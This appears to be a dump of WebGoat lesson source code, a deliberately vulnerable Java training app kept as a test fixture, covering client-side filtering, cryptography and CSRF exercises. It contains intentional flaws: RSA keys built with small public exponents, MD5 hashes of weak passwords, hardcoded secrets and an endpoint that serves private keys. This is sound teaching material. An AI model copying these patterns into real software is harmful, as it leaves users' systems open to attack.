Lists.newArrayList(); codes.add(new CheckoutCode("webgoat", 25)); codes.add(new CheckoutCode("owasp", 25)); codes.add(new CheckoutCode("owasp-webgoat", 50)); this.checkoutCodes = new CheckoutCodes(codes); } @GetMapping(value = "/coupons/{code}", produces = MediaType.APPLICATION_JSON_VALUE) public CheckoutCode getDiscountCode(@PathVariable String code) { if (ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE.equals(code)) { return new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100); } return checkoutCodes.get(code).orElse(new CheckoutCode("no", 0)); } @GetMapping(value = "/coupons", produces = MediaType.APPLICATION_JSON_VALUE) public CheckoutCodes all() { List all = Lists.newArrayList(); all.addAll(this.checkoutCodes.getCodes()); all.add(new CheckoutCode(ClientSideFilteringFreeAssignment.SUPER_COUPON_CODE, 100)); return new CheckoutCodes(all); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/CryptoUtil.java ================================================ package org.owasp.webgoat.lessons.cryptography; import java.math.BigInteger; import java.nio.charset.Charset; import java.security.InvalidAlgorithmParameterException; import java.security.KeyFactory; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.NoSuchAlgorithmException; import java.security.PrivateKey; import java.security.PublicKey; import java.security.SecureRandom; import java.security.Signature; import java.security.interfaces.RSAPublicKey; import java.security.spec.InvalidKeySpecException; import java.security.spec.PKCS8EncodedKeySpec; import java.security.spec.RSAKeyGenParameterSpec; import java.util.Base64; import javax.xml.bind.DatatypeConverter; import lombok.extern.slf4j.Slf4j; @Slf4j public class CryptoUtil { private static final BigInteger[] FERMAT_PRIMES = { BigInteger.valueOf(3), BigInteger.valueOf(5), BigInteger.valueOf(17), BigInteger.valueOf(257), BigInteger.valueOf(65537) }; public static KeyPair generateKeyPair() throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); RSAKeyGenParameterSpec kpgSpec = new RSAKeyGenParameterSpec( 2048, FERMAT_PRIMES[new SecureRandom().nextInt(FERMAT_PRIMES.length)]); keyPairGenerator.initialize(kpgSpec); // keyPairGenerator.initialize(2048); return keyPairGenerator.generateKeyPair(); } public static String getPrivateKeyInPEM(KeyPair keyPair) { String encodedString = "-----BEGIN PRIVATE KEY-----\n"; encodedString = encodedString + new String( Base64.getEncoder().encode(keyPair.getPrivate().getEncoded()), Charset.forName("UTF-8")) + "\n"; encodedString = encodedString + "-----END PRIVATE KEY-----\n"; return encodedString; } public static String signMessage(String message, PrivateKey privateKey) { log.debug("start signMessage"); String signature = null; try { // Initiate signature verification Signature instance = Signature.getInstance("SHA256withRSA"); instance.initSign(privateKey); instance.update(message.getBytes("UTF-8")); // actual verification against signature signature = new String(Base64.getEncoder().encode(instance.sign()), Charset.forName("UTF-8")); log.info("signe the signature with result: {}", signature); } catch (Exception e) { log.error("Signature signing failed", e); } log.debug("end signMessage"); return signature; } public static boolean verifyMessage( String message, String base64EncSignature, PublicKey publicKey) { log.debug("start verifyMessage"); boolean result = false; try { base64EncSignature = base64EncSignature.replace("\r", "").replace("\n", "").replace(" ", ""); // get raw signature from base64 encrypted string in header byte[] decodedSignature = Base64.getDecoder().decode(base64EncSignature); // Initiate signature verification Signature instance = Signature.getInstance("SHA256withRSA"); instance.initVerify(publicKey); instance.update(message.getBytes("UTF-8")); // actual verification against signature result = instance.verify(decodedSignature); log.info("Verified the signature with result: {}", result); } catch (Exception e) { log.error("Signature verification failed", e); } log.debug("end verifyMessage"); return result; } public static boolean verifyAssignment(String modulus, String signature, PublicKey publicKey) { /* first check if the signature is correct, i.e. right private key and right hash */ boolean result = false; if (modulus != null && signature != null) { result = verifyMessage(modulus, signature, publicKey); /* * next check if the submitted modulus is the correct modulus of the public key */ RSAPublicKey rsaPubKey = (RSAPublicKey) publicKey; if (modulus.length() == 512) { modulus = "00".concat(modulus); } result = result && (DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray()) .equals(modulus.toUpperCase())); } return result; } public static PrivateKey getPrivateKeyFromPEM(String privateKeyPem) throws NoSuchAlgorithmException, InvalidKeySpecException { privateKeyPem = privateKeyPem.replace("-----BEGIN PRIVATE KEY-----", ""); privateKeyPem = privateKeyPem.replace("-----END PRIVATE KEY-----", ""); privateKeyPem = privateKeyPem.replace("\n", "").replace("\r", ""); byte[] decoded = Base64.getDecoder().decode(privateKeyPem); PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(decoded); KeyFactory kf = KeyFactory.getInstance("RSA"); return kf.generatePrivate(spec); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/Cryptography.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.cryptography; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class Cryptography extends Lesson { @Override public Category getDefaultCategory() { return Category.A2; } @Override public String getTitle() { return "6.crypto.title"; // first lesson in general } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/EncodingAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.cryptography; import java.util.Base64; import java.util.Random; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class EncodingAssignment extends AssignmentEndpoint { public static String getBasicAuth(String username, String password) { return Base64.getEncoder().encodeToString(username.concat(":").concat(password).getBytes()); } @GetMapping(path = "/crypto/encoding/basic", produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getBasicAuth(HttpServletRequest request) { String basicAuth = (String) request.getSession().getAttribute("basicAuth"); String username = request.getUserPrincipal().getName(); if (basicAuth == null) { String password = HashingAssignment.SECRETS[new Random().nextInt(HashingAssignment.SECRETS.length)]; basicAuth = getBasicAuth(username, password); request.getSession().setAttribute("basicAuth", basicAuth); } return "Authorization: Basic ".concat(basicAuth); } @PostMapping("/crypto/encoding/basic-auth") @ResponseBody public AttackResult completed( HttpServletRequest request, @RequestParam String answer_user, @RequestParam String answer_pwd) { String basicAuth = (String) request.getSession().getAttribute("basicAuth"); if (basicAuth != null && answer_user != null && answer_pwd != null && basicAuth.equals(getBasicAuth(answer_user, answer_pwd))) { return success(this).feedback("crypto-encoding.success").build(); } else { return failed(this).feedback("crypto-encoding.empty").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/HashingAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.cryptography; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.Random; import javax.servlet.http.HttpServletRequest; import javax.xml.bind.DatatypeConverter; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"crypto-hashing.hints.1", "crypto-hashing.hints.2"}) public class HashingAssignment extends AssignmentEndpoint { public static final String[] SECRETS = {"secret", "admin", "password", "123456", "passw0rd"}; @RequestMapping(path = "/crypto/hashing/md5", produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getMd5(HttpServletRequest request) throws NoSuchAlgorithmException { String md5Hash = (String) request.getSession().getAttribute("md5Hash"); if (md5Hash == null) { String secret = SECRETS[new Random().nextInt(SECRETS.length)]; MessageDigest md = MessageDigest.getInstance("MD5"); md.update(secret.getBytes()); byte[] digest = md.digest(); md5Hash = DatatypeConverter.printHexBinary(digest).toUpperCase(); request.getSession().setAttribute("md5Hash", md5Hash); request.getSession().setAttribute("md5Secret", secret); } return md5Hash; } @RequestMapping(path = "/crypto/hashing/sha256", produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getSha256(HttpServletRequest request) throws NoSuchAlgorithmException { String sha256 = (String) request.getSession().getAttribute("sha256"); if (sha256 == null) { String secret = SECRETS[new Random().nextInt(SECRETS.length)]; sha256 = getHash(secret, "SHA-256"); request.getSession().setAttribute("sha256Hash", sha256); request.getSession().setAttribute("sha256Secret", secret); } return sha256; } @PostMapping("/crypto/hashing") @ResponseBody public AttackResult completed( HttpServletRequest request, @RequestParam String answer_pwd1, @RequestParam String answer_pwd2) { String md5Secret = (String) request.getSession().getAttribute("md5Secret"); String sha256Secret = (String) request.getSession().getAttribute("sha256Secret"); if (answer_pwd1 != null && answer_pwd2 != null) { if (answer_pwd1.equals(md5Secret) && answer_pwd2.equals(sha256Secret)) { return success(this).feedback("crypto-hashing.success").build(); } else if (answer_pwd1.equals(md5Secret) || answer_pwd2.equals(sha256Secret)) { return failed(this).feedback("crypto-hashing.oneok").build(); } } return failed(this).feedback("crypto-hashing.empty").build(); } public static String getHash(String secret, String algorithm) throws NoSuchAlgorithmException { MessageDigest md = MessageDigest.getInstance(algorithm); md.update(secret.getBytes()); byte[] digest = md.digest(); return DatatypeConverter.printHexBinary(digest).toUpperCase(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/SecureDefaultsAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.cryptography; import java.security.NoSuchAlgorithmException; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "crypto-secure-defaults.hints.1", "crypto-secure-defaults.hints.2", "crypto-secure-defaults.hints.3" }) public class SecureDefaultsAssignment extends AssignmentEndpoint { @PostMapping("/crypto/secure/defaults") @ResponseBody public AttackResult completed( @RequestParam String secretFileName, @RequestParam String secretText) throws NoSuchAlgorithmException { if (secretFileName != null && secretFileName.equals("default_secret")) { if (secretText != null && HashingAssignment.getHash(secretText, "SHA-256") .equalsIgnoreCase( "34de66e5caf2cb69ff2bebdc1f3091ecf6296852446c718e38ebfa60e4aa75d2")) { return success(this).feedback("crypto-secure-defaults.success").build(); } else { return failed(this).feedback("crypto-secure-defaults.messagenotok").build(); } } return failed(this).feedback("crypto-secure-defaults.notok").build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/SigningAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.cryptography; import java.security.InvalidAlgorithmParameterException; import java.security.KeyPair; import java.security.NoSuchAlgorithmException; import java.security.interfaces.RSAPublicKey; import javax.servlet.http.HttpServletRequest; import javax.xml.bind.DatatypeConverter; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({ "crypto-signing.hints.1", "crypto-signing.hints.2", "crypto-signing.hints.3", "crypto-signing.hints.4" }) @Slf4j public class SigningAssignment extends AssignmentEndpoint { @RequestMapping(path = "/crypto/signing/getprivate", produces = MediaType.TEXT_HTML_VALUE) @ResponseBody public String getPrivateKey(HttpServletRequest request) throws NoSuchAlgorithmException, InvalidAlgorithmParameterException { String privateKey = (String) request.getSession().getAttribute("privateKeyString"); if (privateKey == null) { KeyPair keyPair = CryptoUtil.generateKeyPair(); privateKey = CryptoUtil.getPrivateKeyInPEM(keyPair); request.getSession().setAttribute("privateKeyString", privateKey); request.getSession().setAttribute("keyPair", keyPair); } return privateKey; } @PostMapping("/crypto/signing/verify") @ResponseBody public AttackResult completed( HttpServletRequest request, @RequestParam String modulus, @RequestParam String signature) { String tempModulus = modulus; /* used to validate the modulus of the public key but might need to be corrected */ KeyPair keyPair = (KeyPair) request.getSession().getAttribute("keyPair"); RSAPublicKey rsaPubKey = (RSAPublicKey) keyPair.getPublic(); if (tempModulus.length() == 512) { tempModulus = "00".concat(tempModulus); } if (!DatatypeConverter.printHexBinary(rsaPubKey.getModulus().toByteArray()) .equals(tempModulus.toUpperCase())) { log.warn("modulus {} incorrect", modulus); return failed(this).feedback("crypto-signing.modulusnotok").build(); } /* orginal modulus must be used otherwise the signature would be invalid */ if (CryptoUtil.verifyMessage(modulus, signature, keyPair.getPublic())) { return success(this).feedback("crypto-signing.success").build(); } else { log.warn("signature incorrect"); return failed(this).feedback("crypto-signing.notok").build(); } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/cryptography/XOREncodingAssignment.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.cryptography; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @AssignmentHints({"crypto-encoding-xor.hints.1"}) public class XOREncodingAssignment extends AssignmentEndpoint { @PostMapping("/crypto/encoding/xor") @ResponseBody public AttackResult completed(@RequestParam String answer_pwd1) { if (answer_pwd1 != null && answer_pwd1.equals("databasepassword")) { return success(this).feedback("crypto-encoding-xor.success").build(); } return failed(this).feedback("crypto-encoding-xor.empty").build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRF.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.csrf; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** Created by jason on 9/29/17. */ @Component public class CSRF extends Lesson { @Override public Category getDefaultCategory() { return Category.A10; } @Override public String getTitle() { return "csrf.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFConfirmFlag1.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.csrf; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** Created by jason on 9/29/17. */ @RestController @AssignmentHints({"csrf-get.hint1", "csrf-get.hint2", "csrf-get.hint3", "csrf-get.hint4"}) public class CSRFConfirmFlag1 extends AssignmentEndpoint { @Autowired UserSessionData userSessionData; @PostMapping( path = "/csrf/confirm-flag-1", produces = {"application/json"}) @ResponseBody public AttackResult completed(String confirmFlagVal) { Object userSessionDataStr = userSessionData.getValue("csrf-get-success"); if (userSessionDataStr != null && confirmFlagVal.equals(userSessionDataStr.toString())) { return success(this) .feedback("csrf-get-null-referer.success") .output("Correct, the flag was " + userSessionData.getValue("csrf-get-success")) .build(); } return failed(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFFeedback.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.csrf; import com.fasterxml.jackson.databind.DeserializationFeature; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; import java.util.Map; import java.util.UUID; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import org.apache.commons.lang3.exception.ExceptionUtils; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 11/17/17. */ @RestController @AssignmentHints({"csrf-feedback-hint1", "csrf-feedback-hint2", "csrf-feedback-hint3"}) public class CSRFFeedback extends AssignmentEndpoint { @Autowired private UserSessionData userSessionData; @Autowired private ObjectMapper objectMapper; @PostMapping( value = "/csrf/feedback/message", produces = {"application/json"}) @ResponseBody public AttackResult completed(HttpServletRequest request, @RequestBody String feedback) { try { objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES); objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES); objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS); objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY); objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES); objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS); objectMapper.readValue(feedback.getBytes(), Map.class); } catch (IOException e) { return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build(); } boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE); correctCSRF &= hostOrRefererDifferentHost(request); if (correctCSRF) { String flag = UUID.randomUUID().toString(); userSessionData.setValue("csrf-feedback", flag); return success(this).feedback("csrf-feedback-success").feedbackArgs(flag).build(); } return failed(this).build(); } @PostMapping(path = "/csrf/feedback", produces = "application/json") @ResponseBody public AttackResult flag(@RequestParam("confirmFlagVal") String flag) { if (flag.equals(userSessionData.getValue("csrf-feedback"))) { return success(this).build(); } else { return failed(this).build(); } } private boolean hostOrRefererDifferentHost(HttpServletRequest request) { String referer = request.getHeader("Referer"); String host = request.getHeader("Host"); if (referer != null) { return !referer.contains(host); } else { return true; } } private boolean requestContainsWebGoatCookie(Cookie[] cookies) { if (cookies != null) { for (Cookie c : cookies) { if (c.getName().equals("JSESSIONID")) { return true; } } } return false; } /** * Solution

*/ } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFGetFlag.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.csrf; import java.util.HashMap; import java.util.Map; import java.util.Random; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.session.UserSessionData; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** Created by jason on 9/30/17. */ @RestController public class CSRFGetFlag { @Autowired UserSessionData userSessionData; @Autowired private PluginMessages pluginMessages; @RequestMapping( path = "/csrf/basic-get-flag", produces = {"application/json"}, method = RequestMethod.POST) @ResponseBody public Map invoke(HttpServletRequest req) { Map response = new HashMap<>(); String host = (req.getHeader("host") == null) ? "NULL" : req.getHeader("host"); String referer = (req.getHeader("referer") == null) ? "NULL" : req.getHeader("referer"); String[] refererArr = referer.split("/"); if (referer.equals("NULL")) { if ("true".equals(req.getParameter("csrf"))) { Random random = new Random(); userSessionData.setValue("csrf-get-success", random.nextInt(65536)); response.put("success", true); response.put("message", pluginMessages.getMessage("csrf-get-null-referer.success")); response.put("flag", userSessionData.getValue("csrf-get-success")); } else { Random random = new Random(); userSessionData.setValue("csrf-get-success", random.nextInt(65536)); response.put("success", true); response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); response.put("flag", userSessionData.getValue("csrf-get-success")); } } else if (refererArr[2].equals(host)) { response.put("success", false); response.put("message", "Appears the request came from the original host"); response.put("flag", null); } else { Random random = new Random(); userSessionData.setValue("csrf-get-success", random.nextInt(65536)); response.put("success", true); response.put("message", pluginMessages.getMessage("csrf-get-other-referer.success")); response.put("flag", userSessionData.getValue("csrf-get-success")); } return response; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/csrf/CSRFLogin.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.csrf; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.users.UserTracker; import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 11/17/17. */ @RestController @AssignmentHints({"csrf-login-hint1", "csrf-login-hint2", "csrf-login-hint3"}) public class CSRFLogin extends AssignmentEndpoint { private final UserTrackerRepository userTrackerRepository; public CSRFLogin(UserTrackerRepository userTrackerRepository) { this.userTrackerRepository = userTrackerRepository; } @PostMapping( path = "/csrf/login", produces = {"application/json"}) @ResponseBody public AttackResult completed(HttpServletRequest request) { String userName = request.getUserPrincipal().getName(); if (userName.startsWith("csrf")) { markAssignmentSolvedWithRealUser(userName.substring("csrf-".length())); return success(this).feedback("csrf-login-success").build(); } return failed(this).feedback("csrf-login-failed").feedbackArgs(userName).build(); } private void markAssignmentSolvedWithRealUser(String username) { UserTracker userTracker = 